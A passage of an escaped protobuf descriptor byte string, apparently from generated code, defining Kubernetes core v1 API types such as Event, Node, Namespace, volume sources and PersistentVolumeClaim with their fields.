\x01(\x0b\x32,.k8s.io.api.core.v1.EphemeralContainerCommon\x12\x1b\n\x13targetContainerName\x18\x02 \x01(\t\"\xb6\x06\n\x18\x45phemeralContainerCommon\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05image\x18\x02 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x03 \x03(\t\x12\x0c\n\x04\x61rgs\x18\x04 \x03(\t\x12\x12\n\nworkingDir\x18\x05 \x01(\t\x12\x30\n\x05ports\x18\x06 \x03(\x0b\x32!.k8s.io.api.core.v1.ContainerPort\x12\x32\n\x07\x65nvFrom\x18\x13 \x03(\x0b\x32!.k8s.io.api.core.v1.EnvFromSource\x12\'\n\x03\x65nv\x18\x07 \x03(\x0b\x32\x1a.k8s.io.api.core.v1.EnvVar\x12;\n\tresources\x18\x08 \x01(\x0b\x32(.k8s.io.api.core.v1.ResourceRequirements\x12\x35\n\x0cvolumeMounts\x18\t \x03(\x0b\x32\x1f.k8s.io.api.core.v1.VolumeMount\x12\x37\n\rvolumeDevices\x18\x15 \x03(\x0b\x32 .k8s.io.api.core.v1.VolumeDevice\x12\x30\n\rlivenessProbe\x18\n \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12\x31\n\x0ereadinessProbe\x18\x0b \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12/\n\x0cstartupProbe\x18\x16 \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12\x30\n\tlifecycle\x18\x0c \x01(\x0b\x32\x1d.k8s.io.api.core.v1.Lifecycle\x12\x1e\n\x16terminationMessagePath\x18\r \x01(\t\x12 \n\x18terminationMessagePolicy\x18\x14 \x01(\t\x12\x17\n\x0fimagePullPolicy\x18\x0e \x01(\t\x12<\n\x0fsecurityContext\x18\x0f \x01(\x0b\x32#.k8s.io.api.core.v1.SecurityContext\x12\r\n\x05stdin\x18\x10 \x01(\x08\x12\x11\n\tstdinOnce\x18\x11 \x01(\x08\x12\x0b\n\x03tty\x18\x12 \x01(\x08\"g\n\x15\x45phemeralVolumeSource\x12N\n\x13volumeClaimTemplate\x18\x01 \x01(\x0b\x32\x31.k8s.io.api.core.v1.PersistentVolumeClaimTemplate\"\xf0\x04\n\x05\x45vent\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12;\n\x0einvolvedObject\x18\x02 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\x12\x0e\n\x06reason\x18\x03 \x01(\t\x12\x0f\n\x07message\x18\x04 \x01(\t\x12/\n\x06source\x18\x05 \x01(\x0b\x32\x1f.k8s.io.api.core.v1.EventSource\x12\x42\n\x0e\x66irstTimestamp\x18\x06 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x41\n\rlastTimestamp\x18\x07 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\r\n\x05\x63ount\x18\x08 \x01(\x05\x12\x0c\n\x04type\x18\t \x01(\t\x12\x42\n\teventTime\x18\n \x01(\x0b\x32/.k8s.io.apimachinery.pkg.apis.meta.v1.MicroTime\x12/\n\x06series\x18\x0b \x01(\x0b\x32\x1f.k8s.io.api.core.v1.EventSeries\x12\x0e\n\x06\x61\x63tion\x18\x0c \x01(\t\x12\x34\n\x07related\x18\r \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\x12\x1a\n\x12reportingComponent\x18\x0e \x01(\t\x12\x19\n\x11reportingInstance\x18\x0f \x01(\t\"w\n\tEventList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12(\n\x05items\x18\x02 \x03(\x0b\x32\x19.k8s.io.api.core.v1.Event\"g\n\x0b\x45ventSeries\x12\r\n\x05\x63ount\x18\x01 \x01(\x05\x12I\n\x10lastObservedTime\x18\x02 \x01(\x0b\x32/.k8s.io.apimachinery.pkg.apis.meta.v1.MicroTime\".\n\x0b\x45ventSource\x12\x11\n\tcomponent\x18\x01 \x01(\t\x12\x0c\n\x04host\x18\x02 \x01(\t\"\x1d\n\nExecAction\x12\x0f\n\x07\x63ommand\x18\x01 \x03(\t\"b\n\x0e\x46\x43VolumeSource\x12\x12\n\ntargetWWNs\x18\x01 \x03(\t\x12\x0b\n\x03lun\x18\x02 \x01(\x05\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\x12\r\n\x05wwids\x18\x05 \x03(\t\"\x84\x02\n\x1a\x46lexPersistentVolumeSource\x12\x0e\n\x06\x64river\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x36\n\tsecretRef\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\x12L\n\x07options\x18\x05 \x03(\x0b\x32;.k8s.io.api.core.v1.FlexPersistentVolumeSource.OptionsEntry\x1a.\n\x0cOptionsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\xf5\x01\n\x10\x46lexVolumeSource\x12\x0e\n\x06\x64river\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12;\n\tsecretRef\x18\x03 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\x12\x42\n\x07options\x18\x05 \x03(\x0b\x32\x31.k8s.io.api.core.v1.FlexVolumeSource.OptionsEntry\x1a.\n\x0cOptionsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"?\n\x13\x46lockerVolumeSource\x12\x13\n\x0b\x64\x61tasetName\x18\x01 \x01(\t\x12\x13\n\x0b\x64\x61tasetUUID\x18\x02 \x01(\t\"d\n\x1dGCEPersistentDiskVolumeSource\x12\x0e\n\x06pdName\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x11\n\tpartition\x18\x03 \x01(\x05\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\"+\n\nGRPCAction\x12\x0c\n\x04port\x18\x01 \x01(\x05\x12\x0f\n\x07service\x18\x02 \x01(\t\"N\n\x13GitRepoVolumeSource\x12\x12\n\nrepository\x18\x01 \x01(\t\x12\x10\n\x08revision\x18\x02 \x01(\t\x12\x11\n\tdirectory\x18\x03 \x01(\t\"p\n\x1fGlusterfsPersistentVolumeSource\x12\x11\n\tendpoints\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12\x1a\n\x12\x65ndpointsNamespace\x18\x04 \x01(\t\"J\n\x15GlusterfsVolumeSource\x12\x11\n\tendpoints\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\"\xb0\x01\n\rHTTPGetAction\x12\x0c\n\x04path\x18\x01 \x01(\t\x12>\n\x04port\x18\x02 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.util.intstr.IntOrString\x12\x0c\n\x04host\x18\x03 \x01(\t\x12\x0e\n\x06scheme\x18\x04 \x01(\t\x12\x33\n\x0bhttpHeaders\x18\x05 \x03(\x0b\x32\x1e.k8s.io.api.core.v1.HTTPHeader\")\n\nHTTPHeader\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t\"*\n\tHostAlias\x12\n\n\x02ip\x18\x01 \x01(\t\x12\x11\n\thostnames\x18\x02 \x03(\t\"2\n\x14HostPathVolumeSource\x12\x0c\n\x04path\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\"\x9b\x02\n\x1bISCSIPersistentVolumeSource\x12\x14\n\x0ctargetPortal\x18\x01 \x01(\t\x12\x0b\n\x03iqn\x18\x02 \x01(\t\x12\x0b\n\x03lun\x18\x03 \x01(\x05\x12\x16\n\x0eiscsiInterface\x18\x04 \x01(\t\x12\x0e\n\x06\x66sType\x18\x05 \x01(\t\x12\x10\n\x08readOnly\x18\x06 \x01(\x08\x12\x0f\n\x07portals\x18\x07 \x03(\t\x12\x19\n\x11\x63hapAuthDiscovery\x18\x08 \x01(\x08\x12\x17\n\x0f\x63hapAuthSession\x18\x0b \x01(\x08\x12\x36\n\tsecretRef\x18\n \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x15\n\rinitiatorName\x18\x0c \x01(\t\"\x96\x02\n\x11ISCSIVolumeSource\x12\x14\n\x0ctargetPortal\x18\x01 \x01(\t\x12\x0b\n\x03iqn\x18\x02 \x01(\t\x12\x0b\n\x03lun\x18\x03 \x01(\x05\x12\x16\n\x0eiscsiInterface\x18\x04 \x01(\t\x12\x0e\n\x06\x66sType\x18\x05 \x01(\t\x12\x10\n\x08readOnly\x18\x06 \x01(\x08\x12\x0f\n\x07portals\x18\x07 \x03(\t\x12\x19\n\x11\x63hapAuthDiscovery\x18\x08 \x01(\x08\x12\x17\n\x0f\x63hapAuthSession\x18\x0b \x01(\x08\x12;\n\tsecretRef\x18\n \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x15\n\rinitiatorName\x18\x0c \x01(\t\"4\n\tKeyToPath\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x0c\n\x04mode\x18\x03 \x01(\x05\"{\n\tLifecycle\x12\x37\n\tpostStart\x18\x01 \x01(\x0b\x32$.k8s.io.api.core.v1.LifecycleHandler\x12\x35\n\x07preStop\x18\x02 \x01(\x0b\x32$.k8s.io.api.core.v1.LifecycleHandler\"\xac\x01\n\x10LifecycleHandler\x12,\n\x04\x65xec\x18\x01 \x01(\x0b\x32\x1e.k8s.io.api.core.v1.ExecAction\x12\x32\n\x07httpGet\x18\x02 \x01(\x0b\x32!.k8s.io.api.core.v1.HTTPGetAction\x12\x36\n\ttcpSocket\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.TCPSocketAction\"\x82\x01\n\nLimitRange\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x30\n\x04spec\x18\x02 \x01(\x0b\x32\".k8s.io.api.core.v1.LimitRangeSpec\"\xec\x06\n\x0eLimitRangeItem\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x38\n\x03max\x18\x02 \x03(\x0b\x32+.k8s.io.api.core.v1.LimitRangeItem.MaxEntry\x12\x38\n\x03min\x18\x03 \x03(\x0b\x32+.k8s.io.api.core.v1.LimitRangeItem.MinEntry\x12@\n\x07\x64\x65\x66\x61ult\x18\x04 \x03(\x0b\x32/.k8s.io.api.core.v1.LimitRangeItem.DefaultEntry\x12N\n\x0e\x64\x65\x66\x61ultRequest\x18\x05 \x03(\x0b\x32\x36.k8s.io.api.core.v1.LimitRangeItem.DefaultRequestEntry\x12Z\n\x14maxLimitRequestRatio\x18\x06 \x03(\x0b\x32<.k8s.io.api.core.v1.LimitRangeItem.MaxLimitRequestRatioEntry\x1aZ\n\x08MaxEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1aZ\n\x08MinEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1a^\n\x0c\x44\x65\x66\x61ultEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1a\x65\n\x13\x44\x65\x66\x61ultRequestEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1ak\n\x19MaxLimitRequestRatioEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\x81\x01\n\x0eLimitRangeList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12-\n\x05items\x18\x02 \x03(\x0b\x32\x1e.k8s.io.api.core.v1.LimitRange\"D\n\x0eLimitRangeSpec\x12\x32\n\x06limits\x18\x01 \x03(\x0b\x32\".k8s.io.api.core.v1.LimitRangeItem\"\x86\x01\n\x04List\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12<\n\x05items\x18\x02 \x03(\x0b\x32-.k8s.io.apimachinery.pkg.runtime.RawExtension\"b\n\x13LoadBalancerIngress\x12\n\n\x02ip\x18\x01 \x01(\t\x12\x10\n\x08hostname\x18\x02 \x01(\t\x12-\n\x05ports\x18\x04 \x03(\x0b\x32\x1e.k8s.io.api.core.v1.PortStatus\"N\n\x12LoadBalancerStatus\x12\x38\n\x07ingress\x18\x01 \x03(\x0b\x32\'.k8s.io.api.core.v1.LoadBalancerIngress\"$\n\x14LocalObjectReference\x12\x0c\n\x04name\x18\x01 \x01(\t\"1\n\x11LocalVolumeSource\x12\x0c\n\x04path\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\"A\n\x0fNFSVolumeSource\x12\x0e\n\x06server\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\"\xb5\x01\n\tNamespace\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12/\n\x04spec\x18\x02 \x01(\x0b\x32!.k8s.io.api.core.v1.NamespaceSpec\x12\x33\n\x06status\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.NamespaceStatus\"\x9b\x01\n\x12NamespaceCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x46\n\x12lastTransitionTime\x18\x04 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x05 \x01(\t\x12\x0f\n\x07message\x18\x06 \x01(\t\"\x7f\n\rNamespaceList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.Namespace\"#\n\rNamespaceSpec\x12\x12\n\nfinalizers\x18\x01 \x03(\t\"\\\n\x0fNamespaceStatus\x12\r\n\x05phase\x18\x01 \x01(\t\x12:\n\nconditions\x18\x02 \x03(\x0b\x32&.k8s.io.api.core.v1.NamespaceCondition\"\xa6\x01\n\x04Node\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12*\n\x04spec\x18\x02 \x01(\x0b\x32\x1c.k8s.io.api.core.v1.NodeSpec\x12.\n\x06status\x18\x03 \x01(\x0b\x32\x1e.k8s.io.api.core.v1.NodeStatus\",\n\x0bNodeAddress\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0f\n\x07\x61\x64\x64ress\x18\x02 \x01(\t\"\xce\x01\n\x0cNodeAffinity\x12X\n.requiredDuringSchedulingIgnoredDuringExecution\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.NodeSelector\x12\x64\n/preferredDuringSchedulingIgnoredDuringExecution\x18\x02 \x03(\x0b\x32+.k8s.io.api.core.v1.PreferredSchedulingTerm\"\xdd\x01\n\rNodeCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x45\n\x11lastHeartbeatTime\x18\x03 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x46\n\x12lastTransitionTime\x18\x04 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x05 \x01(\t\x12\x0f\n\x07message\x18\x06 \x01(\t\"T\n\x10NodeConfigSource\x12@\n\tconfigMap\x18\x02 \x01(\x0b\x32-.k8s.io.api.core.v1.ConfigMapNodeConfigSource\"\xcc\x01\n\x10NodeConfigStatus\x12\x36\n\x08\x61ssigned\x18\x01 \x01(\x0b\x32$.k8s.io.api.core.v1.NodeConfigSource\x12\x34\n\x06\x61\x63tive\x18\x02 \x01(\x0b\x32$.k8s.io.api.core.v1.NodeConfigSource\x12;\n\rlastKnownGood\x18\x03 \x01(\x0b\x32$.k8s.io.api.core.v1.NodeConfigSource\x12\r\n\x05\x65rror\x18\x04 \x01(\t\"R\n\x13NodeDaemonEndpoints\x12;\n\x0fkubeletEndpoint\x18\x01 \x01(\x0b\x32\".k8s.io.api.core.v1.DaemonEndpoint\"u\n\x08NodeList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\'\n\x05items\x18\x02 \x03(\x0b\x32\x18.k8s.io.api.core.v1.Node\" \n\x10NodeProxyOptions\x12\x0c\n\x04path\x18\x01 \x01(\t\"\xb3\x01\n\rNodeResources\x12\x41\n\x08\x63\x61pacity\x18\x01 \x03(\x0b\x32/.k8s.io.api.core.v1.NodeResources.CapacityEntry\x1a_\n\rCapacityEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"O\n\x0cNodeSelector\x12?\n\x11nodeSelectorTerms\x18\x01 \x03(\x0b\x32$.k8s.io.api.core.v1.NodeSelectorTerm\"H\n\x17NodeSelectorRequirement\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x10\n\x08operator\x18\x02 \x01(\t\x12\x0e\n\x06values\x18\x03 \x03(\t\"\x9b\x01\n\x10NodeSelectorTerm\x12\x45\n\x10matchExpressions\x18\x01 \x03(\x0b\x32+.k8s.io.api.core.v1.NodeSelectorRequirement\x12@\n\x0bmatchFields\x18\x02 \x03(\x0b\x32+.k8s.io.api.core.v1.NodeSelectorRequirement\"\xd3\x01\n\x08NodeSpec\x12\x0f\n\x07podCIDR\x18\x01 \x01(\t\x12\x10\n\x08podCIDRs\x18\x07 \x03(\t\x12\x12\n\nproviderID\x18\x03 \x01(\t\x12\x15\n\runschedulable\x18\x04 \x01(\x08\x12)\n\x06taints\x18\x05 \x03(\x0b\x32\x19.k8s.io.api.core.v1.Taint\x12:\n\x0c\x63onfigSource\x18\x06 \x01(\x0b\x32$.k8s.io.api.core.v1.NodeConfigSource\x12\x12\n\nexternalID\x18\x02 \x01(\t\"\x86\x06\n\nNodeStatus\x12>\n\x08\x63\x61pacity\x18\x01 \x03(\x0b\x32,.k8s.io.api.core.v1.NodeStatus.CapacityEntry\x12\x44\n\x0b\x61llocatable\x18\x02 \x03(\x0b\x32/.k8s.io.api.core.v1.NodeStatus.AllocatableEntry\x12\r\n\x05phase\x18\x03 \x01(\t\x12\x35\n\nconditions\x18\x04 \x03(\x0b\x32!.k8s.io.api.core.v1.NodeCondition\x12\x32\n\taddresses\x18\x05 \x03(\x0b\x32\x1f.k8s.io.api.core.v1.NodeAddress\x12@\n\x0f\x64\x61\x65monEndpoints\x18\x06 \x01(\x0b\x32\'.k8s.io.api.core.v1.NodeDaemonEndpoints\x12\x34\n\x08nodeInfo\x18\x07 \x01(\x0b\x32\".k8s.io.api.core.v1.NodeSystemInfo\x12\x32\n\x06images\x18\x08 \x03(\x0b\x32\".k8s.io.api.core.v1.ContainerImage\x12\x14\n\x0cvolumesInUse\x18\t \x03(\t\x12;\n\x0fvolumesAttached\x18\n \x03(\x0b\x32\".k8s.io.api.core.v1.AttachedVolume\x12\x34\n\x06\x63onfig\x18\x0b \x01(\x0b\x32$.k8s.io.api.core.v1.NodeConfigStatus\x1a_\n\rCapacityEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1a\x62\n\x10\x41llocatableEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\xf1\x01\n\x0eNodeSystemInfo\x12\x11\n\tmachineID\x18\x01 \x01(\t\x12\x12\n\nsystemUUID\x18\x02 \x01(\t\x12\x0e\n\x06\x62ootID\x18\x03 \x01(\t\x12\x15\n\rkernelVersion\x18\x04 \x01(\t\x12\x0f\n\x07osImage\x18\x05 \x01(\t\x12\x1f\n\x17\x63ontainerRuntimeVersion\x18\x06 \x01(\t\x12\x16\n\x0ekubeletVersion\x18\x07 \x01(\t\x12\x18\n\x10kubeProxyVersion\x18\x08 \x01(\t\x12\x17\n\x0foperatingSystem\x18\t \x01(\t\x12\x14\n\x0c\x61rchitecture\x18\n \x01(\t\"<\n\x13ObjectFieldSelector\x12\x12\n\napiVersion\x18\x01 \x01(\t\x12\x11\n\tfieldPath\x18\x02 \x01(\t\"\x8d\x01\n\x0fObjectReference\x12\x0c\n\x04kind\x18\x01 \x01(\t\x12\x11\n\tnamespace\x18\x02 \x01(\t\x12\x0c\n\x04name\x18\x03 \x01(\t\x12\x0b\n\x03uid\x18\x04 \x01(\t\x12\x12\n\napiVersion\x18\x05 \x01(\t\x12\x17\n\x0fresourceVersion\x18\x06 \x01(\t\x12\x11\n\tfieldPath\x18\x07 \x01(\t\"\xca\x01\n\x10PersistentVolume\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x36\n\x04spec\x18\x02 \x01(\x0b\x32(.k8s.io.api.core.v1.PersistentVolumeSpec\x12:\n\x06status\x18\x03 \x01(\x0b\x32*.k8s.io.api.core.v1.PersistentVolumeStatus\"\xd9\x01\n\x15PersistentVolumeClaim\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12;\n\x04spec\x18\x02 \x01(\x0b\x32-.k8s.io.api.core.v1.PersistentVolumeClaimSpec\x12?\n\x06status\x18\x03 \x01(\x0b\x32/.k8s.io.api.core.v1.PersistentVolumeClaimStatus\"\xea\x01\n\x1ePersistentVolumeClaimCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x41\n\rlastProbeTime\x18\x03 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x46\n\x12lastTransitionTime\x18\x04 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x0e\n\x06reason\x18\x05 \x01(\t\x12\x0f\n\x07message\x18\x06 \x01(\t\"\x97\x01\n\x19PersistentVolumeClaimList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x38\n\x05items\x18\x02 \x03(\x0b\x32).k8s.io.api.core.v1.PersistentVolumeClaim\"\xff\x02\n\x19PersistentVolumeClaimSpec\x12\x13\n\x0b\x61\x63\x63\x65ssModes\x18\x01 \x03(\t\x12\x45\n\x08selector\x18\x04 \x01(\x0b\x32\x33.k8s.io.apimachinery.pkg.apis.meta.v1.LabelSelector\x12;\n\tresources\x18\x02 \x01(\x0b\x32(.k8s.io.api.core.v1.ResourceRequirements\x12\x12\n\nvolumeName\x18\x03 \x01(\t\x12\x18\n\x10storageClassName\x18\x05 \x01(\t\x12\x12\n\nvolumeMode\x18\x06 \x01(\t\x12\x41\n\ndataSource\x18\x07 \x01(\x0b\x32-.k8s.io.api.core.v1.TypedLocalObjectReference\x12\x44\n\rdataSourceRef\x18\x08 \x01(\x0b\x32-.k8s.io.api.core.v1.TypedLocalObjectReference\"\xa1\x04\n\x1bPersistentVolumeClaimStatus\x12\r\n\x05phase\x18\x01 \x01(\t\x12\x13\n\x0b\x61\x63\x63\x65ssModes\x18\x02 \x03(\t\x12O\n\x08\x63\x61pacity\x18\x03 \x03(\x0b\x32=.k8s.io.api.core.v1.PersistentVolumeClaimStatus.CapacityEntry\x12\x46\n\nconditions\x18\x04 \x03(\x0b\x32\x32.k8s.io.api.core.v1.PersistentVolumeClaimCondition\x12\x63\n\x12\x61llocatedResources\x18\x05 \x03(\x0b\x32G.k8s.io.api.core.v1.PersistentVolumeClaimStatus.AllocatedResourcesEntry\x12\x14\n\x0cresizeStatus\x18\x06 \x01(\t\x1a_\n\rCapacityEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\x1ai\n\x17\x41llocatedResourcesEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12=\n\x05value\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity:\x02\x38\x01\"\xa0\x01\n\x1dPersistentVolumeClaimTemplate\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12;\n\x04spec\x18\x02 \x01(\x0b\x32-.k8s.io.api.core.v1.PersistentVolumeClaimSpec\"H\n!PersistentVolumeClaimVolumeSource\x12\x11\n\tclaimName\x18\x01 \x01(\t\x12\x10\n\x08readOnly\x18\x02 \x01(\x08\"\x8d\x01\n\x14PersistentVolumeList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x33\n\x05items\x18\x02 \x03(\x0b\x32$.k8s.io.api.core.v1.PersistentVolume\"\xbd\x0b\n\x16PersistentVolumeSource\x12L\n\x11gcePersistentDisk\x18\x01 \x01(\x0b\x32\x31.k8s.io.api.core.v1.GCEPersistentDiskVolumeSource\x12R\n\x14\x61wsElasticBlockStore\x18\x02 \x01(\x0b\x32\x34.k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource\x12:\n\x08hostPath\x18\x03 \x01(\x0b\x32(.k8s.io.api.core.v1.HostPathVolumeSource\x12\x46\n\tglusterfs\x18\x04 \x01(\x0b\x32\x33.k8s.io.api.core.v1.GlusterfsPersistentVolumeSource\x12\x30\n\x03nfs\x18\x05 \x01(\x0b\x32#.k8s.io.api.core.v1.NFSVolumeSource\x12:\n\x03rbd\x18\x06 \x01(\x0b\x32-.k8s.io.api.core.v1.RBDPersistentVolumeSource\x12>\n\x05iscsi\x18\x07 \x01(\x0b\x32/.k8s.io.api.core.v1.ISCSIPersistentVolumeSource\x12@\n\x06\x63inder\x18\x08 \x01(\x0b\x32\x30.k8s.io.api.core.v1.CinderPersistentVolumeSource\x12@\n\x06\x63\x65phfs\x18\t \x01(\x0b\x32\x30.k8s.io.api.core.v1.CephFSPersistentVolumeSource\x12.\n\x02\x66\x63\x18\n \x01(\x0b\x32\".k8s.io.api.core.v1.FCVolumeSource\x12\x38\n\x07\x66locker\x18\x0b \x01(\x0b\x32\'.k8s.io.api.core.v1.FlockerVolumeSource\x12\x42\n\nflexVolume\x18\x0c \x01(\x0b\x32..k8s.io.api.core.v1.FlexPersistentVolumeSource\x12\x46\n\tazureFile\x18\r \x01(\x0b\x32\x33.k8s.io.api.core.v1.AzureFilePersistentVolumeSource\x12I\n\rvsphereVolume\x18\x0e \x01(\x0b\x32\x32.k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource\x12\x38\n\x07quobyte\x18\x0f \x01(\x0b\x32\'.k8s.io.api.core.v1.QuobyteVolumeSource\x12<\n\tazureDisk\x18\x10 \x01(\x0b\x32).k8s.io.api.core.v1.AzureDiskVolumeSource\x12R\n\x14photonPersistentDisk\x18\x11 \x01(\x0b\x32\x34.k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource\x12@\n\x0eportworxVolume\x18\x12 \x01(\x0b\x32(.k8s.io.api.core.v1.PortworxVolumeSource\x12\x42\n\x07scaleIO\x18\x13 \x01(\x0b\x32\x31.k8s.io.api.core.v1.ScaleIOPersistentVolumeSource\x12\x34\n\x05local\x18\x14 \x01(\x0b\x32%.k8s.io.api.core.v1.LocalVolumeSource\x12\x46\n\tstorageos\x18\x15 \x01(\x0b\x32\x33.k8s.io.api.core.v1.StorageOSPersistentVolumeSource\x12:\n\x03\x63si\x18\x16 \x01(\x0b\x32-.k8s.io.api.core.v1.CSIPersistentVolumeSource\"\x82\x04\n\x14PersistentVolumeSpec\x12H\n\x08\x63\x61pacity\x18\x01 \x03(\x0b\x32\x36.k8s.io.api.core.v1.PersistentVolumeSpec.CapacityEntry\x12J\n\x16persistentVolumeSource\x18\x02 \x01(\x0b\x32*.k8s.io.api.core.v1.PersistentVolumeSource\x12\x13\n\x0b\x61\x63\x63\x65ssModes\x18\x03 \x03(\t\x12\x35\n\x08\x63laimRef\x18\x04 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\x12%\n\x1dpersistentVolumeReclaimPolicy\x18\x05 \x01(\t\x12\x18\n\x10storageClassName\x18\x06 \x01(\t\x12\x14\n\x0cmountOptions\x18\x07 